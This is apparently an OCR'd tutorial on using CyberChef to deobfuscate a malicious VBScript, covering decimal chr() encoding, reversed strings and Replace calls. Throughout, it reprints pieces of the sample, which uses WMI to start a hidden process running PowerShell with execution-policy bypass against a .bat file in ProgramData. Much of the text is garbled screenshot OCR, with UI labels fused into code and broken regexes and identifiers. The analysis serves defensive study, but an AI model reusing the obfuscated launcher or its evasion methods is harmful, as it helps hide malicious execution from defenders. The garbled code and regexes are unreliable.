KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&5&"PUDYDLSDBFXPEFVVYBKGETecor"&P&"_"&

26"") ,"TEGKBYVVFEPXFBDSLDYDUP" , ""&5&"™)

XFGOESLXRCIJCRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"EN"") , " GTBUVVAKXHWYSDLSUYFROA" , " *&36'* ) SKAYWWOXZXNUASUEWKC
HFKLGReplace (StrReverse(""6R&"atCITRVIDHPHBVHVENTTKXPO" ), "OPXKTTNEVHVBHPHDINRTIC" , " 656"
WGXOORXASAPQVFKSUEONCP=

Replace (StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi™ ) , " ZPUNUAPQOROXXHLKAGKSF 1" , " "626" ")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&T&" ZIVAUVTTKFKKTNDVGTQRATZIVAUVTTKFKKTNDVGTQRAT" ) , "TARQTGVDONTKKFKTTVUAVIZ", " "&
0&"") GHGXOORXASAPQUFKSUEONCP&Replace (St rReverse (" CRPEZHYCIWUYGSGUCUNGSBn 1" ) , "BSGNUCUGSGYUWICYHZEPRC" "
"&36")

EXUVOYHXQTCDOGNOFYCNEL =

Close up, it’s still a bit messy, but we’ll deal with that in a moment.

For now, we can observe that the “chr” operations have been replaced with their ASCII equivalents. (Although the

The String concatenations make this hard to read)

UVXVCAEWLICGGPDCUNGVGU = ""&&""&n&""&0&" Pr"&o&" "+" f11"&E&"
I RERM X EER" ' U 1 B0 ENG" PUEOSN 1M+ iy Byp" ' Bk Es& ESE"

"&-E"C"EOS" " EME! " EME "&aE  EN&"d C1\Pr&O&" "+ g Gak" &mE" D"+ " §ak" t "&ak" " &" \UPFCRQOF GHVNBVUABXGF I
\UPFCRQOFGHVNBVUABXGFIW.b"&a&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&S&"PUDYDLSDBFXPEFVVYBKGEIecor"&P&" _"&

In order to clean up for good, we needed to do two things.

First, we would need to undo our subsection. This would allow us to remove the “&” operations that were not

included in our initial regex.

This can be done with a “merge” operation. (Essentially an “Undo” button for subsections)

We then utilised a Find/Replace to remove the quote “” and “&” junk.

The recipe then looked like this. The most complex piece is the "&?”&?\+?" regex.

This looks for any quotes that are preceded or followed by a & character. The (?) specifies that the “&” is

optional.
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Regular expression

Built in regexes Regex

User defined \d+

Case insensitive ~ and $ match at newlines
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[] Dot matches all

Output format

[J unicode support  [] Astral support [ ] Display total | ist matches

4

From Decimal en
Delimiter
Space D Support signed values
Merge on
Merge All
Find / Replace on
Find
EPMEIN+? REGEX ~ Replace Global match
[ case insensitive Multiline matching [J Dot matches all

Syntax highlighter

Language
vbscript

®

place(StrReverse(""&chr(82)&"atCITRNI TKXPO" ) , “OPXKT DINRTIC",""&chr(83)&"")
WGXOORXASAPQVFKSUEONCP= Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi® ) , " ZPUNUAPQQROXXHLKAGKSF", " "&chr(50)&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&chr(84)&"ZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ) , "TARQTGVDNTKKFKTTVUAVIZ"
GXOORXASAPQVFKSUEONCP&Rep lace (StrReverse (" CRPEZHYCIWUYGSGUCUNGSBNi™) , "BSGNUCUGSGYUWICYHZEPRC" , " "&chr(51)
EXUVOYHXQTCDOGNOFYCNET =

Replace(StrReverse("r:"&chr(83)&" VKLPWOTKLXHQANTSGUNBOP" &chr (77)&"") , "POBNUGSTNAQHXLKTOWPLKV" , ""&chr(84)&"" ) &UYPNHFVADWUR
HNHZPINPTASRep lace (StrReverse("corP_JGICDGUWYOWFEZBSDISPOU" ) , "UOPSIDSBZEFWOYWUGDCIGI", ""&chr (58)&"")

- 4470 = 21 Tr Raw Bytes & LF

Output BD®

UVXVCAEWLICGGPDCUNGVGU = -noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.bat

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(SPUDYDLSDBFXPEFVVYBKGEIecorP_2), IEGKBYVVFEPXFBDSLDYDUP,S)
XFGOESLXRCIICRHXBZBPTS =

Replace(StrReverse (AORFYUSLDSYWHXKAVVUBTGN) , GTBUVVAKXHWYSDLSUYFROA, 3) &KAYWWOXZXNUASUEWKCHFKL&Rep lace (St rReverse(RatCITRNI
DHPHBVHVENTTKXPO) , OPXKTTNEVHVBHPHDINRTIC, 5)

WGX0ORXASAPQVFKSUEONCP= Replace(StrReverse(W: JFSKGAKLHXXQRQQPAUNUPZvmi ) , ZPUNUAPQQRQXXHLKAGKSF],2)

UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse(c\TZIVAUVTTKFKKTNDVGTQRATIZIVAUVTTKFKKTNDVGTQRAI) , IARQTGVDNTKKFKTTVUAVIZ, 0) &WGXOORXASAPQVFKSUEONCP&Rep L
ace(StrReverse (CRPEZHYCIWUYGSGUCUNGSBNi ) , BSGNUCUGSGYUWICYHZEPRC, 3)

EXUVOYHXQTCDOGNOFYCNET =

Replace(StrReverse (r:SVKLPWOTKLXHQANTSGUNBOPM) , POBNUGS TNAQHXLKTOWPLKV , T) &UYPNHFVADWURHNHZPINPTASReplace (StrReverse(corP_J
GICDGUWYOWFEZBSDISPOU) , UOPSIDSBZEFWOYWUGDCIG], 2)

ZZWITKAWNKYJEHAFUDTCWW=Replace(StrReverse(iVBWIQIGGGEKPAQOLPZKDHUlev) , UHDKZPLQQAPKEGGGIQIWBY, =)
UVFBXQSZHYDXQKCCQWWNYL=Replace(StrReverse(NVEAJOVC EZVi), VZEYRWK VOJAEV,0)
KCKLFNNTZYUAJTCUDAPTVQ=Replace(StrReverse(KYIGPUHOVDOHHQCPQDKRCDGKYIGPUHOVDOHHQCPQDKRCDN) , DCRKDQPCQHHODVOHUPGIYK, M)
XIJUZPDEZWXXLZKPLSXPLL=Replace(StrReverse(SZBSOKPDEUENXTHREKHZIORep) , ROJZHKERHTXNEUEDPKOSBZ, r)

GINDQZLOGQHKQTVOYGHDKT =

Replace(StrReverse (TONCABJVNZSYSXTRWOJETAT) , TATEJOWRTXSYSZNVIBACNO, a) &UVFBXQSZHYDXQKCCQWWNYL&Replace (St rReverse(KGIRIBEIV
PHOGZNNWOYFOS1) , SOFYOWNNZGOHPVIEBIRIGK, € ) &ZZWITKAWNKYEHAFUDT CWW&Replace (St rReverse ( LITRKBUSUZYFPVFHZVPRSIM) , JSRPVZHFVPFY
ZUSUBKRTIL,P)

BDAEZIOSPHGLAYIEPCSKKZ=Replace(StrReverse(anNQLWZBLGATPHIBENFKEXDHS) , HDXEKFNEBJHPTAGLBZWLON, O)
INAUKWKYCZNPOIVUNEQVFN=Replace(StrReverse (miTCWRKVLIJYXXWBLNKDOGVI\to) , IVGODKNLBWXXYJILVKRWCT, c)
CFKSWETDBQSRPZPHXUYTDX=Replace(StrReverse( rAQFWWFABXCOYGWYPKLUSYLw) , LYSULKPYWGYOCXBAFWWFQA, e )

LOCNYJVFLHRIEEXZNOQYXB =Replace(StrReverse(e.QODUWPFSVUWVWCQNCAKKNIQODUWPFSVUWVWCQNCAKKND ) , INKKACNQCWVWUVSFPWUDOQ, 1)

Set STBRIKUASKOWTRXWVSAOGR =

GetObject (Replace(StrReverse( iRAQUIABXASDLSREXTOVLLQ), QLLVOTXERSLDSAXBAJUQAR, w) SKCKLFNNTZYUAJTCUDAPTVQ&Replace(StrReverse
(YBZTXHXQQBILOPNDNWQHZLst) , LZHOWNDNPOLIBQOXHXTZBY , : )&

Replace(StrReverse (MWITLXROODQVIILAOLXBYFD{), DFYBXLOALIIVQDOORXLTIW, i)&XIJUZPDEZWXXLZKPLSXPLL&Replace(StrReve Trasl
BRTYRXKNVR77¥lIn) _1IY77RUNKXRYTRRZFTYFFVR . n) AGTNNNZI DGOHKNTVOYGHNKTARen] ace (St rReverse ( KNZI TWRNOGRADPNT IPOWTe ) -

&chr(79)&"" )&
)

A visual representation of the regex, courtesy of regexper.com.

&?7&7N\+7

We then had a nice decoded value and no remaining “chr” operations in our script.

Output

B0 ®

UVXVCAEWLICGGPDCUNGVGU = -noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData\UPFCRQOFGHVNBVUABXGFIW

\UPFCRQOFGHVNBVUABXGFIW.bat

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(SPUDYDLSDBFXPEFVVYBKGEIecorP_2),IEGKBYVVFEPXFBDSLDYDUP,S)

YFCNFCI YRATIFRHYR7RDTS —

If you’re confident with your regex, you could incorporate the previous two into one.

This ultimately leaves something like this. Which is conceptually the same, but slightly cleaner than the original

recipe we had before, at the cost of a slightly more complex regex.
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Recipe BEE nput L= I
su i o n UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&" "&chr(111)&"Pr &chr(111)&""+" " fil"&chr(69)&"
= ""&chr(45)&""&chr(69)&" x"&chr(69)&" ¢ ti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+ icy
e Byp"+""&chr (97)&""&chr(115)&" &chr(115)&" “&chr(45)&"C*&chr (111) 6" &chr(109)&""+" *&chr (109) 8" &chr (97)&" &chr(110)&"d

"2&7chr\ (\d+\)&?"? Case sensitive matching Global matching ~ C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D’
\UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"
KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
[ ignore errors chr(50)&""), "IEGKBYVVFEPXFBDSLDYDUP" ,""&chr(83)&"")
XFGOESLXRCJICRHXBZBPTS =
Replace(StrReverse ("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"") , "GTBUVVAKXHWYSDLSUYFROA" , "“&chr (51) 6" ) SKAYWWOXZXNUASUEWKCHFKL&R

"&chr(97)&"t"&chr(97)&"

"\UPFCROOFGHVNBVUABXGFIW

Regular expression Qmn place(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO") , "OPXKTTNEVHVBHPHDINRTIC" ,""&chr(83)&"")
WGXOORXASAPQVFKSUEONCP= Replace(StrReverse("W:JFSKGAKLI Zvmi"),"Z| KAGKSFJ",""&chr(50)&"")
Built in regexes Regex UYPNHFVADWURHNHZPINPTA =
User defined \d+ Replace(StrReverse("c\"&chr(84)&"ZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ) , " IARQTGVONTKKFKTTVUAVIZ",

&chr(79)&"" )&

GXOORXASAPQVFKSUEONCP&Replace (StrReverse (" CRPEZHYCIWUYGSGUCUNGSBni") , "BSGNUCUGSGYUWICYHZEPRC", ""&chr(51)&"")

/%  EXUVOYHXQTCDOGNOFYCNET
Replace(StrReverse("r:"&chr(83)&" VKLPWOTKLXHQANTSGUNBOP"&chr(77)&"") , "' POBNUGS TNAQHXLKTOWPLKV! "&chr(84)&"" ) GUYPNHFVADWU
HNHZPINPTAGReplace (StrReverse (" corP_JGICDGUWYOWFEZBSDISPOU" ), "UOPSIDSBZEFWOYWUGDCIGI", " "&chr(50)&"")
ZZWITKAWNKYJEHAFUDTCWW=Replace(StrReverse(" iVBWIQIGGGEKPAQQLPZKDHUlev" ) , "UHDKZPLQQAPKEGGGIQIWBV" , "=")
UVFBXQSZHYDXQKCCQWWNYL=Replace(StrReverse(""&chr(78)&"VEAJOVCQXEADBHAKWRYEZVi") , ""VZEYRWKAHBOAEXQCVOJAEV" , ""&chr(79)&"")

Case insensitive ~and $ match at newlines ] Dot matches all

. _ Output format KCKLFNNTZYUAJTCUDAPTVQ=Replace(StrReverse("KYIGPUHOVDOHHQCPQDKRCDGKYIGPUHOVDOHHQCPQDKRCD" &
[Junicode support  [[] Astral support  [] Display total st matches chr(78)&"") ,"DCRKDQPCQHHODVOHUPGIYK" , ""&chr (77)6"")
XIJUZPDEZWXXLZKPLSXPLL=Replace(StrReverse(""&chr(83)&"ZBSOKPDEUENXTHREKHZIORep" ) , "ROJZHKERHTXNEUEDPKOSBZ" , " r'" )
GINDQZLOGQHKQTVOYGHDKT =
From Decimal © 11 Replace(strReverse(""&chr(84)&" ONCABIVNZSYSXTRWOJETAT" ) , "TATEJOWRTXSYSZNVIBACNO" , “a* ) SUVFBXQSZHYDXQKCCOWWNYLSRep lace (Str
everse("KGIRIBEIVPHOGZNNWOYFOS1") , "SOFYOWNNZGOHPVIEBIRIGK" , "e" ) &ZZWI TKAWNKYJEHAFUDTCWW&Rep lace (StrReverse (" LITRKBUSUZYFP
gz:;:y ] ey e ebes FHZVPRSI"&chr (77)&""), " JSRPVZHFVPFYZUSUBKRTIL"  ""§chr (80)"")
- 2470 = 21 Tr Raw Bytes € L
oy © 1 Output abma
UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW
Merge All \UPFCRQOFGHVNBVUABXGFIW. bat"
KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2") ," IEGKBYVVFEPXFBDSLDYDUP" ,"S")
XFGOESLXRCJICRHXBZBPTS =
Find | Replace & 11 Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN" ) ,"GTBUVVAKXHWYSDLSUYFROA" , 3" ) &KAYWWOXZXNUASUEWKCHFKL&Replace (St rReverse ("R
tCITRNIDHPHBVHVENTTKXPO" ) , "OPXKTTNEVHVBHPHDINRTIC","S")
Find WGXOORXASAPQVFKSUEONCP= Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi®) ,"Z| XHLKAGKSFJ1","2")
“4"  SIMPLESTRING-  Replace Global mateh  |ypNHFVADWURHNHZPINPTA =

Replace(StrReverse(" c\TZIJVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAIL" ) , " IARQTGVONTKKFKTTVUAVIZ"
P&Replace(StrReverse(" CRPEZHYCIWUYGSGUCUNGSBni") , "BSGNUCUGSGYUWICYHZEPRC","'3")

D Case insensitive Multiline matching D Dot matches all EXUVOYHXQTCDOGNOFYCNEI =
Replace(StrReverse (" r: SVKLPWOTKLXHQANTSGUNBOPM" ) , " POBNUGSTNAQHXLKTOWPLKV", "T" ) &UYPNHFVADWURHNHZPINPTAGRep lace (StrReverse
""corP_JGICDGUWYOWFEZBSDISPOU") , "UOPSIDSBZEFWOYWUGDCIGI™ ,"2")

") &WGXOORXASAPQVFKSUEON

Syntax highlighter © 11 ZZWITKAWNKYJEHAFUDTCWh=Replace(StrReverse(" iVBWIQIGGGEKPAQQLPZKDHUev") , "UHDKZPLQQAPKEGGGIQIWBV" , "=")
UVFBXQSZHYDXQKCCQWWNYL=Replace (StrReverse("NVEAJOVC YEZVi") ,"VZE XQCVOJAEV","0")
Language KCKLFNNTZYUAJTCUDAPTVQ=Replace(StrReverse("KYIGPL PQDKRCDGKYIGPUF PQDKRCDN" ) , "DCRKDQPC IYK","M"
vbscript XI1JUZPDEZWXXLZKPLSXPLL=Replace(StrReverse("SZBSOKPDEUENXTHREKHZIORep" ) , “ROJZHKERHTXNEUEDPKOSBZ" " r'")

GTNNNZI AGNHKNTUNYGEHNKT —

For a deeper explanation of the regex used, we highly recommend regexper.com and regex101.com.

o e

“chr(” digit )

If you’re completely new to regex, we also strongly recommend regexone.com.
Obfuscation 1: Conclusion
TLDR - Defeating Decimal Encoding:

e Use regex to locate the encoded values (locate the chr)

e Use a subsection to ‘act’ on the encoded values (Hone in on the chr)

e Use Find/Replace to remove surrounding junk (remove the chr)

e Perform the decoding (from decimal)

 If necessary, remove any additional junk (remove the string concatenation)

e Make it pretty with a syntax highlighter

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr&chr(111)&" " +"fil"&chr(69)&"

"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+"icy Byp"+""&chr(97)&""&chr(115)&""&chr(115)8&"
"&chr(45)&"C"&chr(111)&""&chr(109)&""+""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr'&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97) &"t"&chr(97)&" " &" \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOF GHVNBVUABXGFIW. b*"'&chr(97) &"t"

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.bat"

CPRLA A AMIEELAL S M S P Pl i S S s - AL S mEm AR R S A sl S DAL
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Obfuscation 2: Reversed Strings

Further analysis determined that there were reversed strings scattered throughout the code. This is typically used

to evade simple string-based detection and analysis.
This would likely evade YARA signatures that scan for suspicious strings in files that have been saved to disk.

Below we can see the reversed content.

\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse('SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJICRHXBZBPTS =

Pt e e I d P i e T HAARFAIIC T AFVLIIVIZATANIRTARN Y HATRINAA LA ILA/ART CIERART A C LAV IAY TR A S IFL I/ A IE ) R e el o o r e

This encoding is simple and is literally just reversing the content of a string.

We could perform this operation manually in CyberChef, but like before, we knew it would take a while to deal

with all of the reversed values.

The full StrReverse specification is here.

Recipe N ) Input
SPUDYDLSDBFXPEFVVYBKGEIecorP_2
Reverse
By
Character e 30 = 1

Output

2_P roceIEGKBYVVFEPXFBDSLDYDUPS‘

We decided to do these operations in bulk using CyberChef.
Our approach...

o Utilise regex to locate the “reversed” values
o Use Find/Replace or regex to remove surrounding junk (The StrReverse function name in this case)
e Perform the decoding (Utilising “Reverse” + “by Character”)

e Restore the original state (Utilise a merge to undo the subsection)
First, we developed the regex to locate only the reversed values.

We used the same method as before, utilising “regular expression” and “highlight matches” until the highlight

matched exactly what we needed.

(We all have our own regex styles, you can use any regex which successfully highlights the content that you are

interested in).
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Recipe Bma

Regular expression o mn

Built in regexes
User defined

Regex

S

e\ ("[A]+"\)

Case insensitive ~ and $ match at newlines

[) Dot matches all  [] Unicode support  [_] Astral support

Output format

[ pisplay total Highlight matches

Input + 03 m
|UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW. bat"

KAYWWOXZXNUASUEWKCHFKL

=Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2")," IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN" ) , " GTBUVVAKXHWYSDLSUYFROA™, "'3" ) &KAYWWOXZXNUA
SUEWKCHFKL&Replace (StrReverse("RatCITRNIDHPHBVHVENTTKXPO") , "OPXKTTNEVHVBHPHDINRTIC","S")
WGX0ORXASAPQVFKSUEONCP=
Replace(StrReverse("W:JFSKGAKLHXXQRQQPAUNUPZvmi" ), ""ZPUNUAPQQRQXXHLKAGKSF]" ,"2")
UYPNHFVADWURHNHZPINPTA =
Replace(StrReverse("c\TZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ) , " TARQTGVDNTKKFKTTV
UAVIZ","0") &WGXOORXASAPQVFKSUEONCP&Replace(StrReverse (" CRPEZHYCIWUYGSGUCUNGSBNi") , "BSGNU

me 3835 = 21 Tr Raw Bytes ¢ LF
Output B |_D m o
UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW. bat"

KAYWWOXZXNUASUEWKCHFKL

=Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2")," IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTGN" ) , " GTBUVVAKXHWYSDLSUYFROA™, "' 3" ) &KAYWWOXZXNUA
SUEWKCHFKL&Replace (StrReverse('RatCITRNIDHPHBVHVENTTKXPO") , " OPXKTTNEVHVBHPHDINRTIC","S")
WGXO0ORXASAPQVFKSUEONCP=

Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi") , "' ZPUNUAPQQRQXXHLKAGKSFJ","2")
UYPNHFVADWURHNHZPINPTA =
Replace(StrReverse("c\TZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ), " IARQTGVDNTKKFKTTV
UAVIZ","0") &WGXOORXASAPQVFKSUEONCP&Replace(StrReverse (" CRPEZHYCIWUYGSGUCUNGSBni") , "BSGNU
CUGSGYUWJICYHZEPRC","'3")

An overview of the regex, courtesy of regexper.com

This basically says

e Grab any occurrence of “StrReverse(“ including the opening parenthesis

e Grab everything that is not a double quote

e Grab the ending double quote and closing parenthesis.

©- ‘StrReverse("

None of:

S i

We then converted the regex into a subsection and followed a similar methodology to before.

e Subsection - Extract the “general” content of interest (in this case, “StrReverse” and any following quoted

content)

e Regular Expression - Extract the “exact” content of interest (Extract only the content in quotes)

e Reverse + By Character - Perform the reverse operation.
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Recipe Bl F input + D=
\UPFCRQOFGHVNBVUABXGF IW\UPF CRQOFGHVNBVUABXGF TW. bat"
Subsection © 11 KAYWWOXZXNUASUEWKCHFKL
=Replace (StrReverse("SPUDYDLSDBFXPEFVVYBKGETecorP_2" ) , " IEGKBYVVFEPXFBDSLDYDUP" ,"S")
Section (reqex) - . XFGOESLXRCIICRHXBZBPTS =
" " " kg Case sensitive matchin
StrReverse\ (" [*"]+"\) e © 9 Replace(StrReverse ("AORFYUSLDSYWHXKAVVUBTGN" ) , "GTBUVVAKXHWYSDLSUYFROA" , "3" ) &KAYWWOXZXNUASUEWKCHFKL&Rep
lace(StrReverse("RatCITRNIDHPHBVHVENTTKXPO" ) , "OPXKTTNEVHVBHPHDINRTIC" , "S")
: WGXOORXASAPQVFKSUEONCP=
& Global matching O 1gnore errors e e T
mec 3835 = 21 Tr Raw Bytes ¢ LF
Regular expression on Output @ B rD 3 Y
Built in regexes Regex UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData'"&"
User defined "R \UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW. bat"

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS" , " IEGKBYVVFEPXFBDSLDYDUP","S")
/%  XFGOESLXRCJJCRHXBZBPTS =
Replace ("NGTBUVVAKXHWYSDLSUYFROA" , "GTBUVVAKXHWYSDLSUYFROA" , "'3" ) &KAYWWOXZXNUASUEWKCHFKL&Rep lace (" OPXKTT
NEVHVBHPHDINRTICtaR", "OPXKTTNEVHVBHPHDINRTIC", "S")

— v - )
Case insensitive [ * and $ match at newlines (] Dot matches all WGXOORXASAPQUFKSUEONCP= Replace ("' imvZPUNUAPQQRQXXHLKAGKSF : W" , "ZPUNUAPQORQXXHLKAGKSF ", "2")

UYPNHFVADWURHNHZPINPTA =
; ) Output format Replace (" TARQTGVDNTKKFKTTVUAVIZIARQTGVDNTKKFKTTVUAVIZT\c" , "TARQTGVDNTKKFKTTVUAVIZ" , "0" ) SHGXOORXASAPQUF
O unicode support [ Astral support [ Display total it matches KSUEONCP&Replace (* inBSGNUCUGSGYUWICYHZEPRC™ , *BSGNUCUGSGYUWICYHZEPRC™ , "3*)
EXUVOYHXQTCDOGNOFYCNET =
Replace (“MPOBNUGSTNAGHXLKTOWPLKVS : ", " POBNUGSTNAQHXLKTOWPLKV" , " T* ) &UYPNHFVADWURHNHZP INPTAGRep Lace ("UOP
Reverse © Il SIDSBZEFWOYWUGDCIGI_Proc" , "UOPSIDSBZEFWOYWUGDCIGI" ,"2" )
ZZWITKAWNKYJEHAFUDTCWW=Rep lace ("ve lUHDKZPLOQAPKEGGGIQIWBVA" , "UHDKZPLQQAPKEGGGIQIWBV" , "=")
=T UVFBXQSZHYDXQKCCQWWNYL=Replace (" iVZEYRWKAHBOAEXQCVOJAEVN" , "VZEYRWKAHBOAEXQCVOJAEY" , 0" )
KCKLFNNTZYUAITCUDAPTVQ=Rep Lace ("NDCRKDQPCQHHODVOHUPGI YKgDCRKDQPCQHHODVOHUPGIYK" , " DCRKDQPCQHHODVOHUPGIY
PLRTYTN

We then observed that the “StrReverse” operations were removed and cleaned.

UVXVCAEWLJCGGPDCUNGVGU = "-noProfilE —ExEcutionPolicy Bypass —-Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJCRHXBZBPTS =

Replace("NGTBUVVAKXHWYSDLSUYFROA" , " GTBUVVAKXHWYSDLSUYFROA" ,"3" ) &KAYWWOXZXNUASUEWKCHFKL&Replace (" OPXKTT
NEVHVBHPHDINRTICtaR","OPXKTTNEVHVBHPHDINRTIC","S")

LA AARAI A~ A AL IS, AL A ~ T L M IR A RAARALA 12 A As A LN BT LA A ARANAZI L (R Al B

With a before and after of an offending line.

b g - . g o e e - e

KAYWWOXZXNUASUEWKCHFKL
=Replace(StrReverse("SPUDYDLSDBFXPEFVVYBKGEIecorP_2"),"IEGKBYVVFEPXFBDSLDYDUP","S")

VEAAFST WAC T IARLIVARTRANTE

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJJICRHXBZBPTS

Obfuscation 3: Replace
Building on our last result, we could now see numerous “replace” operations scattered throughout the code.
We followed the same process as before.

o Use regex to “locate” the “encoded” values
e Use a subsection to “act” on the encoded values
e Perform the decoding

e Restore the script to a clean state

We utilised regex to locate our values of interest.
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Recipe oms
Regular expression o n
Built in regexes
User defined
Regex
Replace\ (" [A" ]+, " [A1]45, " [~ ] ™)
4

Case insensitive ~ and $ match at newlines

[ Dot matches all ] Unicode support  [] Astral support

Output format

[ pisplay total Highlight matches

Input + O3 @ =
STBRIKUASKOWTRXWVSAOGR. Get (Rep Lace ( “wLUBLIBQQYNAYHNZAEHIOCU" , "LUBLIBQQYNAYHNZAEHIOCU" , " i") &
XFGOESLXRCIICRHXBZBPTS &Replace (“tukYOHAURTZIUQEOCHXZTXSD" , "KYOHAURTZIUQEOCHXZTXSD" ,"P*) )

Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_

NWVSBVKOKKPHTVIUAYLXIC. ShowWindow = 0

Set ESKROXAIQCIIWGPQEPLXND =
GetObject(Replace("wiWTDCOVIRFCPTZSEATAVQYUmg", "WTDCOVIRFCPTZSEATAVQYU", "N" )& EXUVOYHXQTCDOGNOFYCNEI
&Replace ("eBHCLCGASRQHZRRVCVYDFCLS" , "BHCLCGASRQHZRRVCVYDFCL", "S") )

EEKTGASEUQPENYYXVFFTK] =
ESKRQXAIQCIIWGPQEPLXNJ . Create (Replace (" FBHRLWFLBSKXURNBWBLVS00" , " FBHRLWFLBSKXURNBWBLVSO" ,"P" ) &CFKSWETD
BQSRPZPHXUYTDX&Replace ("SFQGNCOXSOFPHVBCSRDEAECe" , “FQGNCOXSOFPHVBCSRDEAEC™ , "h" ) &LOCNYJVFLHRIEEXZNOQYXB
&Replace ("xIICZVNRATNSIOHGKYUGUOX " ,"IICZVNRATNSIOHGKYUGUOX","e")&UVXVCAEWLICGGPDCUNGVGU, null,
NWVSBVKOKKPHTVIUAYLXIC, intProcessID)

mc 3439 = 21 Tr Raw Bytes ¢ LF

BDmE::

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS", " IEGKBYVVFEPXFBDSLDYDUP","S")
XFGOESLXRCJICRHXBZBPTS =

Replace(""NGTBUVVAKXHWYSDLSUYFROA" , " GTBUVVAKXHWYSDLSUYFROA" , "'3" ) &KAYWWOXZXNUASUEWKCHFKL&Replace (" OPXKTT
NEVHVBHPHDINRTICtaR", "OPXKTTNEVHVBHPHDINRTIC","S")

WGXOORXASAPQVFKSUEONCP= Replace (" imvZPUNUAPQQRQXXHLKAGKSFJ :W" , "ZPUNUAPQQRQXXHLKAGKSFJ™, 2" )
UYPNHFVADWURHNHZPINPTA =

Replace("IARQTGVDNTKKFKTTVUAVIZIARQTGVDNTKKFKTTVUAVIZT\c", " IARQTGVDNTKKFKTTVUAVIZ" , "0" ) &WGXOORXASAPQVF
KSUEONCP&Replace (" inBSGNUCUGSGYUWICYHZEPRC" , "BSGNUCUGSGYUWJCYHZEPRC" , "3")
EXUVOYHXQTCDOGNOFYCNEL =

Output

This essentially grabs “Replace” followed by the next three values contained in double quotes.

None of;

L LB

©- ‘Replace(™

None of:

- =9

None of:

W o | B L (I [ BA
